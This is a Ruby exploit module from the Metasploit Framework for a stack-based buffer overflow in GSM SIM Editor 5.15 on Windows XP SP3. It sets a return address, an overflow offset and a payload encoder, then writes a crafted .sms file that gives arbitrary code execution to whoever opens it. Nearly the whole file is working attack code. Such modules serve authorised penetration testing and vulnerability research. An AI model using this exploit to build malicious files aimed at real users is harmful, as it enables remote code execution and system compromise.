76 lines
2.0 KiB
Ruby
76 lines
2.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GSM SIM Editor 5.15 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
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When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
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overflow occurs which allows an attacker to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Ruben Alejandro',
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'chap0 <contact.chap0[at]gmail.com>',
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'Lincoln <lincoln[at]corelan.be>'
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],
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'References' =>
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[
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[ 'EDB', '14258' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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{
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'Ret' => 0x00405201, # call esp - SIMEditor.exe
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'Offset' => 810
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 07 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
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], self.class)
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end
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def exploit
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buffer = rand_text_numeric(target['Offset'])
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buffer << [target.ret].pack('V').unpack("H*")[0]
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buffer << make_nops(30).unpack("H*")[0]
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buffer << payload.encoded.unpack("H*")[0]
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file_create(buffer)
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end
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end
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